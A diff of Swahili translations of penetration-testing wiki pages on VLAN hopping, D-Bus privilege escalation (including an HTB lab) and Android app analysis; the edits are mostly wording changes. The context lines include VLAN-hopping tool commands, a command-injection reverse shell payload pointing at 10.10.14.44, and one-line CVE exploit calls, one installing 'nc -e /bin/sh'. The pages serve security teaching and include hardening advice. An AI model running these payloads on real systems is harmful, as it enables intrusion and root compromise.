Hatimaye, mchakato huu unaruhusu kupita kwa segmentation ya VLAN, hivyo kuruhusu ufikiaji usio na kikomo kwa mtandao wowote wa VLAN, na kuweka jukwaa kwa hatua zinazofuata.
|
||||
|
||||
@ -56,7 +56,7 @@ Njia ya awali inadhani ufikiaji wa kuthibitishwa wa console au Telnet/SSH kwa sw
|
||||
|
||||
### 1. Switch-Spoofing na Protokali ya Trunking ya Kijadi (DTP)
|
||||
|
||||
Swichi za Cisco ambazo zina DTP imewezeshwa zitafurahia kujadili trunk ikiwa mwenza anadai kuwa swichi. Kuunda fremu moja ya **DTP “desirable”** au **“trunk”** kunabadilisha bandari ya ufikiaji kuwa trunk ya 802.1Q inayobeba *VLANs* zote zinazoruhusiwa.
|
||||
Swichi za Cisco ambazo zina DTP imewezeshwa zitafurahia kujadili trunk ikiwa mwenzi anadai kuwa swichi. Kuunda fremu moja ya **DTP “desirable”** au **“trunk”** kunabadilisha bandari ya ufikiaji kuwa trunk ya 802.1Q inayobeba *VLANs* zote zinazoruhusiwa.
|
||||
|
||||
*Yersinia* na PoCs kadhaa zinafanya mchakato huo kuwa wa kiotomatiki:
|
||||
```bash
|
||||
@ -76,7 +76,7 @@ sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. Double-Tagging (Native-VLAN Abuse)
|
||||
|
||||
Ikiwa mshambuliaji yuko kwenye **native (untagged) VLAN**, fremu iliyoundwa yenye *michwa miwili* ya 802.1Q inaweza "kuruka" hadi VLAN ya pili hata wakati bandari imefungwa katika hali ya ufikiaji. Zana kama **VLANPWN DoubleTagging.py** (2022-2024 refresh) inafanya kiotomatiki sindikizo:
|
||||
Ikiwa mshambuliaji yuko kwenye **native (untagged) VLAN**, fremu iliyoundwa yenye *michwa miwili* ya 802.1Q inaweza "kuruka" hadi VLAN ya pili hata wakati bandari imefungwa katika hali ya ufikiaji. Zana kama **VLANPWN DoubleTagging.py** (2022-2024 refresh) inafanya kiotomatiki sindikiza:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
@ -87,7 +87,7 @@ python3 DoubleTagging.py \
|
||||
```
|
||||
Packet walk-through:
|
||||
1. Outer tag (1) inakatwa na swichi ya kwanza kwa sababu inalingana na native VLAN.
|
||||
2. Inner tag (20) sasa inadhihirika; fremu inasambazwa kwenye trunk kuelekea VLAN 20.
|
||||
2. Inner tag (20) sasa inafichuliwa; fremu inasambazwa kwenye trunk kuelekea VLAN 20.
|
||||
|
||||
Teknolojia hii bado inafanya kazi mwaka 2025 kwenye mitandao ambayo inacha native VLAN kuwa ya kawaida na inakubali fremu zisizo na tag.
|
||||
|
||||
@ -106,7 +106,7 @@ sendp(frame, iface="eth0")
|
||||
|
||||
## Mapendekezo ya Kijamii
|
||||
|
||||
1. Zima DTP kwenye bandari zote zinazokabiliwa na watumiaji: `switchport mode access` + `switchport nonegotiate`.
|
||||
1. Zima DTP kwenye bandari zote zinazokabiliwa na mtumiaji: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Badilisha VLAN asilia kwenye kila trunk kuwa **VLAN isiyotumika, black-hole** na uweke alama: `vlan dot1q tag native`.
|
||||
3. Punguza VLAN zisizohitajika kwenye trunks: `switchport trunk allowed vlan 10,20`.
|
||||
4. Lazimisha usalama wa bandari, DHCP snooping & ukaguzi wa ARP wa dynamic ili kupunguza shughuli za Layer-2 zisizo za kawaida.
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## **GUI enumeration**
|
||||
|
||||
D-Bus inatumika kama mjumbe wa mawasiliano kati ya michakato (IPC) katika mazingira ya desktop ya Ubuntu. Kwenye Ubuntu, uendeshaji wa sambamba wa mabasi kadhaa ya ujumbe unaonekana: basi la mfumo, ambalo linatumika hasa na **huduma zenye mamlaka ili kufichua huduma zinazohusiana katika mfumo mzima**, na basi la kikao kwa kila mtumiaji aliyeingia, likifichua huduma zinazohusiana tu na mtumiaji huyo maalum. Kipaumbele hapa ni hasa kwenye basi la mfumo kutokana na uhusiano wake na huduma zinazotembea kwa mamlaka ya juu (mfano, root) kwani lengo letu ni kuinua mamlaka. Inabainika kwamba usanifu wa D-Bus unatumia 'router' kwa kila basi la kikao, ambayo inawajibika kwa kuelekeza ujumbe wa wateja kwa huduma zinazofaa kulingana na anwani iliyotolewa na wateja kwa huduma wanayotaka kuwasiliana nayo.
|
||||
D-Bus inatumika kama mjumbe wa mawasiliano kati ya michakato (IPC) katika mazingira ya desktop ya Ubuntu. Katika Ubuntu, uendeshaji wa sambamba wa mabasi kadhaa ya ujumbe unaonekana: basi la mfumo, ambalo linatumika hasa na **huduma zenye mamlaka ili kufichua huduma zinazohusiana katika mfumo mzima**, na basi la kikao kwa kila mtumiaji aliyeingia, likifichua huduma zinazohusiana tu na mtumiaji huyo maalum. Kipaumbele hapa ni hasa kwenye basi la mfumo kutokana na uhusiano wake na huduma zinazotembea kwa mamlaka ya juu (mfano, root) kwani lengo letu ni kuinua mamlaka. Inabainika kwamba usanifu wa D-Bus unatumia 'router' kwa kila basi la kikao, ambayo inawajibika kwa kuelekeza ujumbe wa wateja kwa huduma zinazofaa kulingana na anwani iliyotolewa na wateja kwa huduma wanayotaka kuwasiliana nayo.
|
||||
|
||||
Huduma kwenye D-Bus zin defined na **vitu** na **mifumo** wanayofichua. Vitu vinaweza kulinganishwa na mifano ya darasa katika lugha za OOP za kawaida, ambapo kila mfano unatambulika kwa kipekee na **njia ya kitu**. Njia hii, kama njia ya mfumo wa faili, inatambulisha kwa kipekee kila kitu kinachofichuliwa na huduma. Msingi muhimu wa utafiti ni **org.freedesktop.DBus.Introspectable** interface, yenye njia moja, Introspect. Njia hii inarudisha uwakilishi wa XML wa njia zinazoungwa mkono za kitu, ishara, na mali, huku ikizingatia hapa njia na kuacha mali na ishara.
|
||||
Huduma kwenye D-Bus zin defined na **vitu** na **mifumo** wanayofichua. Vitu vinaweza kulinganishwa na mifano ya darasa katika lugha za OOP za kawaida, ambapo kila mfano unatambulika kwa kipekee na **njia ya kitu**. Njia hii, kama njia ya mfumo wa faili, inatambulisha kwa kipekee kila kitu kinachofichuliwa na huduma. Msingi muhimu wa utafiti ni **org.freedesktop.DBus.Introspectable** interface, yenye njia moja, Introspect. Njia hii inarudisha uwakilishi wa XML wa njia zinazoungwa mkono za kitu, ishara, na mali, huku ikizingatia hapa njia huku ikiacha mali na ishara.
|
||||
|
||||
Kwa mawasiliano na kiunganishi cha D-Bus, zana mbili zilitumika: zana ya CLI inayoitwa **gdbus** kwa urahisi wa kuitisha njia zinazofichuliwa na D-Bus katika scripts, na [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), zana ya GUI inayotumia Python iliyoundwa kuorodhesha huduma zinazopatikana kwenye kila basi na kuonyesha vitu vilivyomo ndani ya kila huduma.
|
||||
```bash
|
||||
@ -18,11 +18,11 @@ sudo apt-get install d-feet
|
||||
|
||||
Katika picha ya kwanza, huduma zilizoorodheshwa na mfumo wa D-Bus zinaonyeshwa, huku **org.debin.apt** ikisisitizwa hasa baada ya kuchagua kitufe cha System Bus. D-Feet inafanya uchunguzi wa huduma hii kwa vitu, ikionyesha interfaces, methods, properties, na signals za vitu vilivyochaguliwa, kama inavyoonekana katika picha ya pili. Saini ya kila method pia imeelezwa kwa undani.
|
||||
|
||||
Kipengele muhimu ni kuonyeshwa kwa **process ID (pid)** na **command line** ya huduma, ambayo ni muhimu kuthibitisha kama huduma inafanya kazi na haki za juu, muhimu kwa umuhimu wa utafiti.
|
||||
Kipengele muhimu ni kuonyeshwa kwa **process ID (pid)** ya huduma na **command line**, ambayo ni muhimu kuthibitisha ikiwa huduma inafanya kazi na haki za juu, muhimu kwa umuhimu wa utafiti.
|
||||
|
||||
**D-Feet pia inaruhusu mwito wa method**: watumiaji wanaweza kuingiza maelekezo ya Python kama vigezo, ambayo D-Feet inabadilisha kuwa aina za D-Bus kabla ya kuyapeleka kwa huduma.
|
||||
|
||||
Hata hivyo, kumbuka kwamba **mbinu zingine zinahitaji uthibitisho** kabla ya kuturuhusu kuzitumia. Tutazipuuza mbinu hizi, kwani lengo letu ni kuongeza haki zetu bila hati za utambulisho kwanza.
|
||||
Hata hivyo, kumbuka kwamba **mbinu zingine zinahitaji uthibitisho** kabla ya kuturuhusu kuzitumia. Tutazipuuza mbinu hizi, kwani lengo letu ni kuongeza haki zetu bila hati za kuingia kwanza.
|
||||
|
||||
Pia kumbuka kwamba baadhi ya huduma zinafanya uchunguzi wa huduma nyingine ya D-Bus inayoitwa org.freedeskto.PolicyKit1 ikiwa mtumiaji anapaswa kuruhusiwa kufanya vitendo fulani au la.
|
||||
|
||||
@ -56,11 +56,11 @@ org.freedesktop.locale1 - - - (act
|
||||
```
|
||||
#### Connections
|
||||
|
||||
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Wakati mchakato unapoanzisha muunganisho na basi, basi inatoa muunganisho jina maalum la basi linaloitwa _jina la muunganisho la kipekee_. Majina ya basi ya aina hii hayabadiliki—imehakikishwa kuwa hayatabadilika kadri muunganisho unavyokuwepo—na, muhimu zaidi, hayawezi kutumika tena wakati wa maisha ya basi. Hii ina maana kwamba hakuna muunganisho mwingine kwa basi hiyo utapata jina kama hilo la muunganisho wa kipekee, hata kama mchakato huo huo unafunga muunganisho na kuunda mpya. Majina ya muunganisho wa kipekee yanaweza kutambulika kwa urahisi kwa sababu yananza na tabia ya koloni—ambayo vinginevyo inakatazwa.
|
||||
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Wakati mchakato unapoanzisha muunganisho na basi, basi inatoa muunganisho jina maalum la basi linaloitwa _jina la muunganisho la kipekee_. Majina ya basi ya aina hii hayabadiliki—imehakikishwa kuwa hayatabadilika kadri muunganisho unavyokuwepo—na, muhimu zaidi, hayawezi kutumika tena wakati wa maisha ya basi. Hii ina maana kwamba hakuna muunganisho mwingine kwa basi hiyo utapata jina kama hilo la muunganisho wa kipekee, hata kama mchakato huo huo unafunga muunganisho na kuunda mpya. Majina ya muunganisho wa kipekee yanaweza kutambulika kwa urahisi kwa sababu yananza na tabia ya koloni—ambayo kwa kawaida hairuhusiwi.
|
||||
|
||||
### Service Object Info
|
||||
|
||||
Kisha, unaweza kupata taarifa fulani kuhusu kiolesura kwa:
|
||||
Kisha, unaweza kupata taarifa fulani kuhusu interface kwa:
|
||||
```bash
|
||||
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
|
||||
|
||||
@ -132,7 +132,7 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object
|
||||
```
|
||||
### Introspect Interface of a Service Object
|
||||
|
||||
Kumbuka jinsi katika mfano huu ilichaguliwa interface ya hivi punde iliyogunduliwa kwa kutumia parameter ya `tree` (_ona sehemu ya awali_):
|
||||
Kumbuka jinsi katika mfano huu ilichaguliwa interface ya hivi karibuni iliyogunduliwa kwa kutumia parameter ya `tree` (_ona sehemu ya awali_):
|
||||
```bash
|
||||
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
||||
|
||||
@ -245,14 +245,14 @@ response = block_iface.Block(client_ip)
|
||||
bus.close()
|
||||
return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
Kama unavyoona, in **kuunganisha na kiolesura cha D-Bus** na kutuma kwa **"Block" function** "client_ip".
|
||||
Kama unavyoona, inafanya **kuungana na kiolesura cha D-Bus** na kutuma kwa **"Block" function** "client_ip".
|
||||
|
||||
Katika upande mwingine wa muunganisho wa D-Bus kuna binary iliyokamilishwa kwa C inayoendesha. Hii code in **kusikiliza** katika muunganisho wa D-Bus **kwa anwani za IP na inaita iptables kupitia `system` function** kuzuia anwani ya IP iliyotolewa.\
|
||||
Katika upande mwingine wa muunganisho wa D-Bus kuna binary iliyokamilishwa kwa C inayoendesha. Hiki ni **kusikiliza** katika muunganisho wa D-Bus **kwa anwani ya IP na inaita iptables kupitia `system` function** kuzuia anwani ya IP iliyotolewa.\
|
||||
**Kuitwa kwa `system` kuna udhaifu kwa makusudi kwa ajili ya kuingilia amri**, hivyo payload kama ifuatavyo itaunda shell ya kurudi: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### Exploit it
|
||||
### Fanya hivyo
|
||||
|
||||
Mwisho wa ukurasa huu unaweza kupata **kodi kamili ya C ya programu ya D-Bus**. Ndani yake unaweza kupata kati ya mistari 91-97 **jinsi ya `D-Bus object path`** **na `interface name`** **zinavyosajiliwa**. Taarifa hii itakuwa muhimu kutuma taarifa kwa muunganisho wa D-Bus:
|
||||
Mwisho wa ukurasa huu unaweza kupata **kanuni kamili ya C ya programu ya D-Bus**. Ndani yake unaweza kupata kati ya mistari 91-97 **jinsi ya `D-Bus object path`** **na `interface name`** **zinavyosajiliwa**. Taarifa hii itakuwa muhimu kutuma taarifa kwa muunganisho wa D-Bus:
|
||||
```c
|
||||
/* Install the object */
|
||||
r = sd_bus_add_object_vtable(bus,
|
||||
@ -441,17 +441,17 @@ Kuorodhesha uso mkubwa wa shambulio la D-Bus kwa mikono kwa kutumia `busctl`/`gd
|
||||
* Imeandikwa kwa C; binary moja ya static (<50 kB) inayopita kila njia ya kitu, inavuta `Introspect` XML na kuipanga kwa PID/UID inayomiliki.
|
||||
* Bendera muhimu:
|
||||
```bash
|
||||
# Orodhesha kila huduma kwenye *system* bus na uondoe njia zote zinazoweza kuitwa
|
||||
# Orodhesha kila huduma kwenye *sistema* bus na uondoe njia zote zinazoweza kuitwa
|
||||
sudo dbus-map --dump-methods
|
||||
|
||||
# Chunguza kwa nguvu mbinu/mali unazoweza kufikia bila Polkit prompts
|
||||
# Chunguza kwa nguvu njia/mali unazoweza kufikia bila Polkit prompts
|
||||
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
||||
```
|
||||
* Zana hii inaashiria majina maarufu yasiyo na ulinzi kwa `!`, ikifunua mara moja huduma ambazo unaweza *miliki* (kuchukua) au wito wa mbinu zinazoweza kufikiwa kutoka kwa shell isiyo na haki.
|
||||
* Zana hii inaashiria majina maarufu yasiyo na ulinzi kwa `!`, ikifunua mara moja huduma ambazo unaweza *miliki* (kuchukua) au wito wa njia ambazo zinaweza kufikiwa kutoka kwenye shell isiyo na haki.
|
||||
|
||||
### uptux.py
|
||||
* Mwandishi: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
|
||||
* Skripti ya Python pekee inayotafuta *njia zinazoweza kuandikwa* katika vitengo vya systemd **na** faili za sera za D-Bus zenye ruhusa nyingi kupita kiasi (mfano `send_destination="*"`).
|
||||
* Skripti ya Python pekee inayotafuta njia *zinazoweza kuandikwa* katika vitengo vya systemd **na** faili za sera za D-Bus zenye ruhusa nyingi kupita kiasi (mfano `send_destination="*"`).
|
||||
* Matumizi ya haraka:
|
||||
```bash
|
||||
python3 uptux.py -n # fanya ukaguzi wote lakini usiandike faili la log
|
||||
@ -463,20 +463,20 @@ python3 uptux.py -d # wezesha pato la debug la kina
|
||||
|
||||
---
|
||||
|
||||
## Makosa Yaliyojulikana ya Kuinua Haki za D-Bus (2024-2025)
|
||||
## Makosa Maarufu ya Kuinua Haki za D-Bus (2024-2025)
|
||||
|
||||
Kuweka macho kwenye CVE zilizochapishwa hivi karibuni husaidia kugundua mifumo isiyo salama katika msimbo wa kawaida. Masuala yafuatayo ya EoP ya ndani yenye athari kubwa yote yanatokana na ukosefu wa uthibitisho/idhinisho kwenye **system bus**:
|
||||
Kuweka macho kwenye CVE zilizochapishwa hivi karibuni husaidia kugundua mifumo isiyo salama katika msimbo wa kawaida. Masuala yafuatayo ya EoP ya ndani yenye athari kubwa yote yanatokana na ukosefu wa uthibitisho/idhinisho kwenye **sistema bus**:
|
||||
|
||||
| Mwaka | CVE | Kipengele | Sababu Kuu | PoC ya Mstari Mmoja |
|
||||
|------|-----|-----------|------------|---------------|
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID daemon) | Huduma ya mfumo `logid` inatoa interface isiyo na kikomo `org.freedesktop.Logiopsd` inayomruhusu *mtumiaji yeyote* kubadilisha profaili za vifaa na kuingiza amri za shell zisizo na mipaka kupitia nyuzi za macro. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID daemon) | Huduma ya mfumo `logid` inafichua interface isiyo na kikomo `org.freedesktop.Logiopsd` inayomruhusu *mtumiaji yeyote* kubadilisha profaili za vifaa na kuingiza amri za shell zisizo na mipaka kupitia nyuzi za macro. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | Proxy inayotembea kama root inapeleka majina ya zamani ya bus kwa huduma za nyuma **bila kupeleka UID/Polkit ya mpiga simu**, hivyo kila ombi lililopitishwa linachukuliwa kama UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Mbinu ya umma `Dispatch` haina ACL zozote → mshambuliaji anaweza kuamuru mfanyakazi wa *package-manager* kufunga RPM zisizo na mipaka. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Njia ya umma `Dispatch` haina ACL zozote → mshambuliaji anaweza kuamuru mfanyakazi wa *package-manager* kusakinisha RPM zisizo na mipaka. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
|
||||
Mifumo ya kuzingatia:
|
||||
1. Huduma inafanya kazi **kama root kwenye system bus**.
|
||||
1. Huduma inafanya kazi **kama root kwenye sistema bus**.
|
||||
2. Hakuna ukaguzi wa PolicyKit (au umeepukwa na proxy).
|
||||
3. Mbinu hatimaye inapelekea `system()`/ufungaji wa pakiti/kuunda upya vifaa → utekelezaji wa msimbo.
|
||||
3. Njia hatimaye inapelekea `system()`/sakinisho la kifaa/mabadiliko ya usanidi → utekelezaji wa msimbo.
|
||||
|
||||
Tumia `dbusmap --enable-probes` au `busctl call` ya mikono kuthibitisha ikiwa patch inarudisha nyuma mantiki sahihi ya `polkit_authority_check_authorization()`.
|
||||
|
||||
@ -488,14 +488,14 @@ Tumia `dbusmap --enable-probes` au `busctl call` ya mikono kuthibitisha ikiwa pa
|
||||
```bash
|
||||
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||||
```
|
||||
* Hitaji Polkit kwa mbinu hatari – hata *root* proxies zinapaswa kupitisha *PID ya mpiga simu* kwa `polkit_authority_check_authorization_sync()` badala ya zao wenyewe.
|
||||
* Hitaji Polkit kwa njia hatari – hata *root* proxies zinapaswa kupitisha PID ya *mpiga simu* kwa `polkit_authority_check_authorization_sync()` badala ya zao wenyewe.
|
||||
* Punguza haki katika msaada wa muda mrefu (tumia `sd_pid_get_owner_uid()` kubadilisha majimbo baada ya kuungana na bus).
|
||||
* Ikiwa huwezi kuondoa huduma, angalau *punguza* kwa kundi maalum la Unix na punguza ufikiaji katika sera yake ya XML.
|
||||
* Blue-team: wezesha kukamata kudumu kwa system bus kwa kutumia `busctl capture --output=/var/log/dbus_$(date +%F).pcap` na uagizie ndani ya Wireshark kwa ajili ya kugundua anomali.
|
||||
* Blue-team: wezesha kukamata kudumu kwa sistema bus kwa `busctl capture --output=/var/log/dbus_$(date +%F).pcap` na uagizeni kwenye Wireshark kwa ajili ya kugundua anomali.
|
||||
|
||||
---
|
||||
|
||||
## Marejeo
|
||||
## Marejeleo
|
||||
|
||||
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||
- [https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html](https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html)
|
||||
|
||||
@ -13,22 +13,22 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Hii ni zana kuu unayohitaji kuungana na kifaa cha android (kilichosimuliwa au halisi).\
|
||||
**ADB** inaruhusu kudhibiti vifaa ama kupitia **USB** au **Mtandao** kutoka kwa kompyuta. Hii huduma inaruhusu **kuhamasisha** faili katika mwelekeo wote, **kusakinisha** na **kuondoa** programu, **kutekeleza** amri za shell, **kufanya nakala ya** data, **kusoma** kumbukumbu, kati ya kazi nyingine.
|
||||
**ADB** inaruhusu kudhibiti vifaa ama kupitia **USB** au **Mtandao** kutoka kwa kompyuta. Hii huduma inaruhusu **kuhamasisha** faili katika mwelekeo wote, **kusakinisha** na **kuondoa** programu, **kutekeleza** amri za shell, **kufanya nakala** ya data, **kusoma** kumbukumbu, kati ya kazi nyingine.
|
||||
|
||||
Angalia orodha ifuatayo ya [**ADB Commands**](adb-commands.md) kujifunza jinsi ya kutumia adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Wakati mwingine ni muhimu **kubadilisha msimbo wa programu** ili kufikia **habari zilizofichwa** (labda nywila au bendera zilizofichwa vizuri). Hivyo, inaweza kuwa ya kuvutia decompile apk, kubadilisha msimbo na kuirekebisha.\
|
||||
[**Katika mafunzo haya** unaweza **kujifunza jinsi ya decompile APK, kubadilisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa ya manufaa kama **mbadala kwa majaribio kadhaa wakati wa uchambuzi wa dynamic** ambayo yatpresentwa. Hivyo, **weka daima katika akili uwezekano huu**.
|
||||
[**Katika mafunzo haya** unaweza **kujifunza jinsi ya decompile APK, kubadilisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa ya manufaa kama **mbadala wa majaribio kadhaa wakati wa uchambuzi wa dynamic** ambao utawasilishwa. Hivyo, **weka daima katika akili uwezekano huu**.
|
||||
|
||||
## Njia nyingine za kuvutia
|
||||
|
||||
- [Kudanganya eneo lako katika Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
||||
- [Kunutumia Mbinu za Sasisho za Ndani zisizo Salama](insecure-in-app-update-rce.md)
|
||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||
- **Pakua APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Toa APK kutoka kifaa:
|
||||
- Extract APK from device:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -60,7 +60,7 @@ Tafadhali, [**soma hapa kupata taarifa kuhusu decompilers mbalimbali zinazopatik
|
||||
|
||||
### Looking for interesting Info
|
||||
|
||||
Kwa kuangalia **nyuzi** za APK unaweza kutafuta **nywila**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** funguo, **sifuri**, **bluetooth uuids**, **tokens** na chochote kinachovutia... angalia hata kwa utekelezaji wa msimbo **backdoors** au backdoors za uthibitishaji (akili za admin zilizowekwa ndani ya programu).
|
||||
Kwa kuangalia **nyuzi** za APK unaweza kutafuta **nywila**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** funguo, **sifuri**, **bluetooth uuids**, **tokens** na chochote kinachovutia... angalia hata kwa utekelezaji wa msimbo **backdoors** au backdoors za uthibitishaji (akili za admin zilizowekwa kwenye programu).
|
||||
|
||||
**Firebase**
|
||||
|
||||
@ -72,13 +72,13 @@ Lipa kipaumbele maalum kwa **firebase URLs** na angalia kama imewekwa vibaya. [T
|
||||
|
||||
**Udhaifu** ulioainishwa kutoka kwa **Manifest.xml** ni pamoja na:
|
||||
|
||||
- **Programu zinazoweza kudhibitiwa**: Programu zilizowekwa kama kudhibitiwa (`debuggable="true"`) katika faili la _Manifest.xml_ zinatoa hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha matumizi mabaya. Kwa ufahamu zaidi kuhusu jinsi ya kutumia programu zinazoweza kudhibitiwa, rejelea mafunzo kuhusu kutafuta na kutumia programu zinazoweza kudhibitiwa kwenye kifaa.
|
||||
- **Mipangilio ya Nakala**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulika na taarifa nyeti ili kuzuia nakala zisizoidhinishwa za data kupitia adb, hasa wakati ufuatiliaji wa usb umewezeshwa.
|
||||
- **Programu zinazoweza kudhibitiwa**: Programu zilizowekwa kama zinazoweza kudhibitiwa (`debuggable="true"`) katika faili la _Manifest.xml_ zinatoa hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha unyakuzi. Kwa ufahamu zaidi kuhusu jinsi ya kutumia programu zinazoweza kudhibitiwa, rejelea mafunzo juu ya kutafuta na kutumia programu zinazoweza kudhibitiwa kwenye kifaa.
|
||||
- **Mipangilio ya Nakala**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulikia taarifa nyeti ili kuzuia nakala zisizoidhinishwa za data kupitia adb, hasa wakati ufuatiliaji wa usb umewezeshwa.
|
||||
- **Usalama wa Mtandao**: Mipangilio ya usalama wa mtandao ya kawaida (`android:networkSecurityConfig="@xml/network_security_config"`) katika _res/xml/_ inaweza kubainisha maelezo ya usalama kama vile pini za cheti na mipangilio ya trafiki ya HTTP. Mfano ni kuruhusu trafiki ya HTTP kwa maeneo maalum.
|
||||
- **Shughuli na Huduma Zilizotolewa**: Kutambua shughuli na huduma zilizotolewa katika manifest kunaweza kuonyesha vipengele ambavyo vinaweza kutumika vibaya. Uchambuzi zaidi wakati wa upimaji wa dinamik unaweza kufichua jinsi ya kutumia vipengele hivi.
|
||||
- **Shughuli na Huduma zilizotolewa**: Kutambua shughuli na huduma zilizotolewa katika manifest kunaweza kuonyesha vipengele ambavyo vinaweza kutumika vibaya. Uchambuzi zaidi wakati wa upimaji wa dynamic unaweza kufichua jinsi ya kutumia vipengele hivi.
|
||||
- **Watoa Maudhui na Watoa Faili**: Watoa maudhui walio wazi wanaweza kuruhusu ufikiaji usioidhinishwa au mabadiliko ya data. Mipangilio ya Watoa Faili pia inapaswa kuchunguzwa.
|
||||
- **Vipokezi vya Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa matumizi mabaya, huku kukiwa na umakini maalum kuhusu jinsi mipango ya URL inavyosimamiwa kwa udhaifu wa ingizo.
|
||||
- **Toleo la SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo la Android linaloungwa mkono, zikionyesha umuhimu wa kutosimamia toleo la zamani la Android lenye udhaifu kwa sababu za usalama.
|
||||
- **Vipokezi vya Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa unyakuzi, huku kukiwa na umakini maalum juu ya jinsi mipango ya URL inavyoshughulikiwa kwa udhaifu wa ingizo.
|
||||
- **Toleo la SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo la Android linaloungwa mkono, zikisisitiza umuhimu wa kutosaidia toleo la zamani la Android lenye udhaifu kwa sababu za usalama.
|
||||
|
||||
Kutoka kwa faili ya **strings.xml**, taarifa nyeti kama funguo za API, mipango ya kawaida, na maelezo mengine ya waendelezaji yanaweza kugundulika, yakisisitiza hitaji la ukaguzi wa makini wa rasilimali hizi.
|
||||
|
||||
@ -95,7 +95,7 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
**shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa inakabiliwa na hatari ya hijacking ya kazi. Hii inamaanisha kuwa, **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuchukua kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia halisi**).
|
||||
**shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa inakabiliwa na hatari ya Hijacking ya kazi. Hii inamaanisha kuwa, **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuhijack kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia halisi**).
|
||||
|
||||
Taarifa zaidi katika:
|
||||
|
||||
@ -107,12 +107,12 @@ android-task-hijacking.md
|
||||
|
||||
**Hifadhi ya Ndani**
|
||||
|
||||
